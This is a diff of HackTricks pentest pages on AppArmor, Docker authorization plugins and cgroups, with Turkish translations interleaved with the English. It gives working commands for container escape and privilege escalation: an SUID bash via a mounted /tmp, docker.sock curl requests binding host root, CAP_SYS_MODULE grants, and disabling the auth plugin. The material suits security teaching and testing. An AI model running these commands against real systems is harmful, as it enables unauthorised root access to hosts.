||||
Varsayılan olarak **Apparmor docker-default profili** [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) adresinden oluşturulmaktadır.
|
||||
|
||||
By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
**docker-default profili Özeti**:
|
||||
|
||||
**docker-default profile Summary**:
|
||||
|
||||
- **Access** to all **networking**
|
||||
- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \<abstractions/base> )
|
||||
- **Writing** to any **/proc** file is **not allowed**
|
||||
- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access
|
||||
- **Mount** is **not allowed**
|
||||
- **Ptrace** can only be run on a process that is confined by **same apparmor profile**
|
||||
|
||||
Once you **run a docker container** you should see the following output:
|
||||
- Tüm **ağ** erişimi
|
||||
- **Hiçbir yetenek** tanımlanmamıştır (Ancak, bazı yetenekler temel temel kuralları dahil etmekten gelecektir, yani #include \<abstractions/base>)
|
||||
- Herhangi bir **/proc** dosyasına **yazma** **izin verilmez**
|
||||
- Diğer **alt dizinler**/**dosyalar** için /**proc** ve /**sys** **okuma/yazma/kilit/link/çalıştırma** erişimi **reddedilir**
|
||||
- **Mount** **izin verilmez**
|
||||
- **Ptrace** yalnızca **aynı apparmor profili** tarafından kısıtlanmış bir süreçte çalıştırılabilir
|
||||
|
||||
Bir **docker konteyneri çalıştırdığınızda** aşağıdaki çıktıyı görmelisiniz:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
docker-default (825)
|
||||
```
|
||||
|
||||
Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access:
|
||||
|
||||
Not edin ki **apparmor, varsayılan olarak konteynere verilen yetenek ayrıcalıklarını bile engelleyecektir**. Örneğin, **SYS_ADMIN yeteneği verilse bile /proc içinde yazma iznini engelleyebilecektir** çünkü varsayılan olarak docker apparmor profili bu erişimi reddeder:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
|
||||
You need to **disable apparmor** to bypass its restrictions:
|
||||
|
||||
AppArmor kısıtlamalarını aşmak için **apparmor'ı devre dışı bırakmalısınız**:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
Not edin ki varsayılan olarak **AppArmor**, **SYS_ADMIN** yetkisi ile bile konteynerin içinden klasörleri **monte etmesini** **yasaklayacaktır**.
|
||||
|
||||
Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability.
|
||||
Not edin ki docker konteynerine **yetkiler** **ekleyebilir/çıkarabilirsiniz** (bu hala **AppArmor** ve **Seccomp** gibi koruma yöntemleri tarafından kısıtlanacaktır):
|
||||
|
||||
Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**):
|
||||
|
||||
- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap
|
||||
- `--cap-add=ALL` give all caps
|
||||
- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE`
|
||||
- `--cap-add=SYS_ADMIN` `SYS_ADMIN` yetkisini ver
|
||||
- `--cap-add=ALL` tüm yetkileri ver
|
||||
- `--cap-drop=ALL --cap-add=SYS_PTRACE` tüm yetkileri kaldır ve sadece `SYS_PTRACE` ver
|
||||
|
||||
> [!NOTE]
|
||||
> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**.
|
||||
> Genellikle, bir **docker** konteynerinin **içinde** **yetkili bir yetki** bulduğunuzda **ama** **sömürü** kısmının **çalışmadığını** **bulursanız**, bu, docker'ın **apparmor'unun bunu engelliyor olmasından** kaynaklanacaktır.
|
||||
|
||||
### Example
|
||||
### Örnek
|
||||
|
||||
(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
|
||||
|
||||
To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added:
|
||||
(Örnek [**buradan**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) alınmıştır)
|
||||
|
||||
AppArmor işlevselliğini göstermek için, aşağıdaki satırı ekleyerek “mydocker” adında yeni bir Docker profili oluşturdum:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
|
||||
To activate the profile, we need to do the following:
|
||||
|
||||
Profili etkinleştirmek için aşağıdakileri yapmamız gerekiyor:
|
||||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
|
||||
To list the profiles, we can do the following command. The command below is listing my new AppArmor profile.
|
||||
|
||||
Profilleri listelemek için aşağıdaki komutu kullanabiliriz. Aşağıdaki komut, yeni AppArmor profilimi listelemektedir.
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
mydocker
|
||||
```
|
||||
|
||||
As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”.
|
||||
|
||||
Aşağıda gösterildiği gibi, “/etc/” dizinini değiştirmeye çalıştığımızda hata alıyoruz çünkü AppArmor profili “/etc” dizinine yazma erişimini engelliyor.
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
You can find which **apparmor profile is running a container** using:
|
||||
|
||||
Bir **apparmor profilinin hangi konteyneri çalıştırdığını** bulmak için:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
|
||||
Then, you can run the following line to **find the exact profile being used**:
|
||||
|
||||
Sonra, **kullanılan tam profili bulmak için** aşağıdaki satırı çalıştırabilirsiniz:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
|
||||
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
|
||||
Garip bir durumda **apparmor docker profilini değiştirebilir ve yeniden yükleyebilirsiniz.** Kısıtlamaları kaldırabilir ve "bypass" edebilirsiniz.
|
||||
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**.
|
||||
**AppArmor yol tabanlıdır**, bu, bir dizin içindeki dosyaları **koruyor** olsa bile **`/proc`** gibi, eğer **konteynerin nasıl çalıştırılacağını yapılandırabiliyorsanız**, ana bilgisayarın proc dizinini **`/host/proc`** içine **mount** edebilir ve artık **AppArmor tarafından korunmayacaktır**.
|
||||
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.:
|
||||
|
||||
[**bu hata**](https://bugs.launchpad.net/apparmor/+bug/1911431) ile **belirli kaynaklarla perl'in çalıştırılmasını engelliyorsanız bile**, eğer sadece ilk satırda **`#!/usr/bin/perl`** belirten bir shell script oluşturursanız ve dosyayı doğrudan **çalıştırırsanız**, istediğiniz her şeyi çalıştırabileceksiniz. Örnek:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl
|
||||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,75 +1,70 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon.
|
||||
**Docker’ın** kutudan çıktığı gibi **yetkilendirme** modeli **ya hepsi ya hiçbiri** şeklindedir. Docker daemon'a erişim izni olan herhangi bir kullanıcı, **herhangi bir** Docker istemci **komutunu** **çalıştırabilir**. Bu, daemon ile iletişim kurmak için Docker’ın Engine API'sini kullanan çağrılar için de geçerlidir. Eğer **daha fazla erişim kontrolü** gerekiyorsa, **yetkilendirme eklentileri** oluşturabilir ve bunları Docker daemon yapılandırmanıza ekleyebilirsiniz. Bir yetkilendirme eklentisi kullanarak, bir Docker yöneticisi Docker daemon'a erişimi yönetmek için **ayrıntılı erişim** politikaları **yapılandırabilir**.
|
||||
|
||||
# Basic architecture
|
||||
# Temel mimari
|
||||
|
||||
Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**.
|
||||
Docker Auth eklentileri, Docker Daemon'a **istek** yapılan **hareketleri** **izin verme/red etme** amacıyla kullanabileceğiniz **harici** **eklenti**lerdir; bu, isteği yapan **kullanıcıya** ve **istenen** **harekete** bağlıdır.
|
||||
|
||||
**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
|
||||
**[Aşağıdaki bilgi belgelerden alınmıştır](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
|
||||
|
||||
When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request.
|
||||
Bir **HTTP** **isteği**, CLI üzerinden veya Engine API aracılığıyla Docker **daemon**'ına yapıldığında, **kimlik doğrulama** **alt sistemi** isteği kurulu **kimlik doğrulama** **eklenti**(ler)ine **gönderir**. İstek, kullanıcı (çağrıcı) ve komut bağlamını içerir. **Eklenti**, isteği **izin verme** veya **red etme** kararını vermekten sorumludur.
|
||||
|
||||
The sequence diagrams below depict an allow and deny authorization flow:
|
||||
Aşağıdaki sıralama diyagramları, izin verme ve red etme yetkilendirme akışını göstermektedir:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent.
|
||||
Eklentiye gönderilen her istek, **kimlik doğrulaması yapılmış kullanıcıyı, HTTP başlıklarını ve istek/yanıt gövdesini** içerir. Sadece **kullanıcı adı** ve kullanılan **kimlik doğrulama yöntemi** eklentiye iletilir. En önemlisi, **hiçbir** kullanıcı **kimlik bilgisi** veya token iletilmez. Son olarak, **tüm istek/yanıt gövdeleri** yetkilendirme eklentisine gönderilmez. Sadece `Content-Type`'ı `text/*` veya `application/json` olan istek/yanıt gövdeleri gönderilir.
|
||||
|
||||
For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins.
|
||||
HTTP bağlantısını potansiyel olarak ele geçirebilecek komutlar (`HTTP Upgrade`), örneğin `exec`, için yetkilendirme eklentisi yalnızca ilk HTTP istekleri için çağrılır. Eklenti komutu onayladıktan sonra, yetkilendirme akışın geri kalanına uygulanmaz. Özellikle, akış verileri yetkilendirme eklentilerine iletilmez. `logs` ve `events` gibi parça parça HTTP yanıtı döndüren komutlar için yalnızca HTTP isteği yetkilendirme eklentilerine gönderilir.
|
||||
|
||||
During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies.
|
||||
İstek/yanıt işleme sırasında, bazı yetkilendirme akışlarının Docker daemon'a ek sorgular yapması gerekebilir. Bu tür akışları tamamlamak için, eklentiler, normal bir kullanıcı gibi daemon API'sini çağırabilir. Bu ek sorguları etkinleştirmek için, eklentinin bir yöneticinin uygun kimlik doğrulama ve güvenlik politikalarını yapılandırması için gerekli araçları sağlaması gerekir.
|
||||
|
||||
## Several Plugins
|
||||
## Birkaç Eklenti
|
||||
|
||||
You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted.
|
||||
**Eklentinizi** Docker daemon **başlatma** sürecinin bir parçası olarak **kaydetmekten** siz sorumlusunuz. **Birden fazla eklenti yükleyebilir ve bunları bir araya getirebilirsiniz**. Bu zincir sıralı olabilir. Daemon'a yapılan her istek, sırayla zincirden geçer. **Tüm eklentiler kaynağa erişim izni verdiğinde**, erişim izni verilir.
|
||||
|
||||
# Plugin Examples
|
||||
# Eklenti Örnekleri
|
||||
|
||||
## Twistlock AuthZ Broker
|
||||
|
||||
The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user.
|
||||
Eklenti [**authz**](https://github.com/twistlock/authz), **istekleri yetkilendirmek için** eklentinin **okuyacağı** basit bir **JSON** dosyası oluşturmanıza olanak tanır. Bu nedenle, her bir kullanıcının hangi API uç noktalarına erişebileceğini çok kolay bir şekilde kontrol etme fırsatı sunar.
|
||||
|
||||
This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
Bu, Alice ve Bob'un yeni konteynerler oluşturmasına izin verecek bir örnektir: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
|
||||
In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action
|
||||
[route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) sayfasında istenen URL ile eylem arasındaki ilişkiyi bulabilirsiniz. [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) sayfasında ise eylem adı ile eylem arasındaki ilişkiyi bulabilirsiniz.
|
||||
|
||||
## Simple Plugin Tutorial
|
||||
## Basit Eklenti Eğitimi
|
||||
|
||||
You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
Kurulum ve hata ayıklama hakkında ayrıntılı bilgiye sahip **anlaşılması kolay bir eklenti** bulabilirsiniz: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
|
||||
Read the `README` and the `plugin.go` code to understand how is it working.
|
||||
Nasıl çalıştığını anlamak için `README` ve `plugin.go` kodunu okuyun.
|
||||
|
||||
# Docker Auth Plugin Bypass
|
||||
# Docker Auth Eklenti Atlatma
|
||||
|
||||
## Enumerate access
|
||||
## Erişimi Sayma
|
||||
|
||||
The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**.
|
||||
Kontrol edilmesi gereken ana şeyler **hangi uç noktaların izin verildiği** ve **hangi HostConfig değerlerinin izin verildiğidir**.
|
||||
|
||||
To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
|
||||
Bu sayımı gerçekleştirmek için [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)** aracını kullanabilirsiniz.**
|
||||
|
||||
## disallowed `run --privileged`
|
||||
|
||||
### Minimum Privileges
|
||||
## izin verilmeyen `run --privileged`
|
||||
|
||||
### Minimum Ayrıcalıklar
|
||||
```bash
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
```
|
||||
### Bir konteyner çalıştırmak ve ardından ayrıcalıklı bir oturum almak
|
||||
|
||||
### Running a container and then getting a privileged session
|
||||
|
||||
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
|
||||
|
||||
Bu durumda sistem yöneticisi **kullanıcıların hacimleri bağlamasını ve `--privileged` bayrağı ile konteyner çalıştırmasını** veya konteynere herhangi bir ek yetenek vermesini engelledi:
|
||||
```bash
|
||||
docker run -d --privileged modified-ubuntu
|
||||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||||
See 'docker run --help'.
|
||||
```
|
||||
|
||||
However, a user can **create a shell inside the running container and give it the extra privileges**:
|
||||
|
||||
Ancak, bir kullanıcı **çalışan konteyner içinde bir shell oluşturabilir ve ona ek ayrıcalıklar verebilir**:
|
||||
```bash
|
||||
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
|
||||
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
|
||||
@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
|
||||
# With --cap-add=SYS_ADMIN
|
||||
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
|
||||
```
|
||||
Artık kullanıcı, [**daha önce tartışılan tekniklerden**](./#privileged-flag) herhangi birini kullanarak konteynerden çıkabilir ve **yetkileri artırabilir**.
|
||||
|
||||
Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host.
|
||||
|
||||
## Mount Writable Folder
|
||||
|
||||
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
|
||||
## Yazılabilir Klasörü Bağlama
|
||||
|
||||
Bu durumda sistem yöneticisi, kullanıcıların `--privileged` bayrağı ile konteyner çalıştırmalarını **yasakladı** veya konteynere herhangi bir ek yetki vermedi ve yalnızca `/tmp` klasörünü bağlamalarına izin verdi:
|
||||
```bash
|
||||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||||
docker container> chown root:root /host/bash
|
||||
docker container> chmod u+s /host/bash
|
||||
host> /tmp/bash
|
||||
-p #This will give you a shell as root
|
||||
-p #This will give you a shell as root
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
|
||||
> `/tmp` klasörünü bağlayamayabileceğinizi unutmayın, ancak **farklı bir yazılabilir klasör** bağlayabilirsiniz. Yazılabilir dizinleri bulmak için: `find / -writable -type d 2>/dev/null` komutunu kullanabilirsiniz.
|
||||
>
|
||||
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
|
||||
> **Bir linux makinesindeki tüm dizinlerin suid bitini desteklemeyeceğini unutmayın!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez.
|
||||
>
|
||||
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
|
||||
> Ayrıca **`/etc`** veya **konfigürasyon dosyalarını içeren** başka bir klasörü bağlayabiliyorsanız, bunları docker konteynerinden root olarak değiştirip **host'ta kötüye kullanmak** ve ayrıcalıkları artırmak için (belki `/etc/shadow` dosyasını değiştirerek) kullanabilirsiniz.
|
||||
|
||||
## Unchecked API Endpoint
|
||||
## Kontrolsüz API Uç Noktası
|
||||
|
||||
The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.**
|
||||
Bu eklentiyi yapılandıran sistem yöneticisinin sorumluluğu, her kullanıcının hangi eylemleri ve hangi ayrıcalıklarla gerçekleştirebileceğini kontrol etmektir. Bu nedenle, admin uç noktalar ve nitelikler ile **kara liste** yaklaşımını benimserse, bir saldırganın **ayrıcalıkları artırmasına** izin verebilecek **bazılarını unutabilir.**
|
||||
|
||||
You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
|
||||
Docker API'sini [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) adresinde kontrol edebilirsiniz.
|
||||
|
||||
## Unchecked JSON Structure
|
||||
## Kontrolsüz JSON Yapısı
|
||||
|
||||
### Binds in root
|
||||
|
||||
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\
|
||||
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:
|
||||
### Kökte Bağlantılar
|
||||
|
||||
Sistem yöneticisi docker güvenlik duvarını yapılandırırken [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) gibi bazı önemli parametreleri **unutmuş olabilir**.\
|
||||
Aşağıdaki örnekte, bu yanlış yapılandırmayı kullanarak host'un kök (/) klasörünü bağlayan bir konteyner oluşturmak ve çalıştırmak mümkündür:
|
||||
```bash
|
||||
docker version #First, find the API version of docker, 1.40 in this example
|
||||
docker images #List the images available
|
||||
@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container
|
||||
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
||||
#You can access the host filesystem
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`**
|
||||
> Bu örnekte **`Binds`** parametresini JSON'da kök düzey anahtar olarak kullandığımıza dikkat edin, ancak API'de **`HostConfig`** anahtarı altında görünmektedir.
|
||||
|
||||
### Binds in HostConfig
|
||||
|
||||
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
|
||||
### HostConfig'deki Binds
|
||||
|
||||
**Kökteki Binds** ile aynı talimatları izleyerek bu **isteği** Docker API'sine gerçekleştirin:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
|
||||
```
|
||||
|
||||
### Mounts in root
|
||||
|
||||
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
|
||||
|
||||
**Binds in root** ile aynı talimatları izleyerek bu **isteği** Docker API'sine gerçekleştirin:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
|
||||
```
|
||||
### HostConfig'deki Mounts
|
||||
|
||||
### Mounts in HostConfig
|
||||
|
||||
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
|
||||
|
||||
**Binds in root** ile aynı talimatları izleyerek bu **isteği** Docker API'sine gerçekleştirin:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
|
||||
```
|
||||
## Kontrol Edilmemiş JSON Özelliği
|
||||
|
||||
## Unchecked JSON Attribute
|
||||
|
||||
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability:
|
||||
|
||||
Sysadmin docker güvenlik duvarını yapılandırırken, [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) içindeki "**HostConfig**" parametresinin "**Capabilities**" gibi bazı önemli özelliklerini **unutmuş olabilir**. Aşağıdaki örnekte, bu yanlış yapılandırmayı kullanarak **SYS_MODULE** yetkisine sahip bir konteyner oluşturmak ve çalıştırmak mümkündür:
|
||||
```bash
|
||||
docker version
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
|
||||
@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash
|
||||
capsh --print
|
||||
#You can abuse the SYS_MODULE capability
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions.
|
||||
> **`HostConfig`** genellikle konteynerden kaçmak için **ilginç** **ayrıntıları** içeren anahtardır. Ancak, daha önce tartıştığımız gibi, bunun dışındaki Binds kullanımının da işe yaradığını ve kısıtlamaları aşmanıza izin verebileceğini unutmayın.
|
||||
|
||||
## Disabling Plugin
|
||||
|
||||
If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it!
|
||||
## Eklentiyi Devre Dışı Bırakma
|
||||
|
||||
Eğer **sysadmin** **eklentiyi** **devre dışı bırakma** yeteneğini **yasaklamayı** **unutmuşsa**, bunu tamamen devre dışı bırakmak için kullanabilirsiniz!
|
||||
```bash
|
||||
docker plugin list #Enumerate plugins
|
||||
|
||||
@ -186,10 +167,9 @@ docker plugin disable authobot
|
||||
docker run --rm -it --privileged -v /:/host ubuntu bash
|
||||
docker plugin enable authobot
|
||||
```
|
||||
Eskalasyondan sonra **plugin'i yeniden etkinleştirmeyi unutmayın**, aksi takdirde **docker servisi yeniden başlatılamayacaktır**!
|
||||
|
||||
Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**!
|
||||
|
||||
## Auth Plugin Bypass writeups
|
||||
## Auth Plugin Bypass yazıları
|
||||
|
||||
- [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
|
||||
|
||||
|
||||
@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups.
|
||||
**Linux Kontrol Grupları**, veya **cgroups**, sistem kaynaklarının (CPU, bellek ve disk I/O gibi) süreç grupları arasında tahsis edilmesi, sınırlandırılması ve önceliklendirilmesi için Linux çekirdeğinin bir özelliğidir. **Süreç koleksiyonlarının kaynak kullanımını yönetme ve izole etme** mekanizması sunarak, kaynak sınırlaması, iş yükü izolasyonu ve farklı süreç grupları arasında kaynak önceliklendirmesi gibi amaçlar için faydalıdır.
|
||||
|
||||
There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including:
|
||||
**Cgroups'ın iki versiyonu** vardır: versiyon 1 ve versiyon 2. Her ikisi de bir sistemde eşzamanlı olarak kullanılabilir. Ana ayrım, **cgroups versiyon 2**'nin **hiyerarşik, ağaç benzeri bir yapı** sunarak süreç grupları arasında daha ince ve detaylı kaynak dağılımını mümkün kılmasıdır. Ayrıca, versiyon 2 çeşitli iyileştirmeler de getirir, bunlar arasında:
|
||||
|
||||
In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance.
|
||||
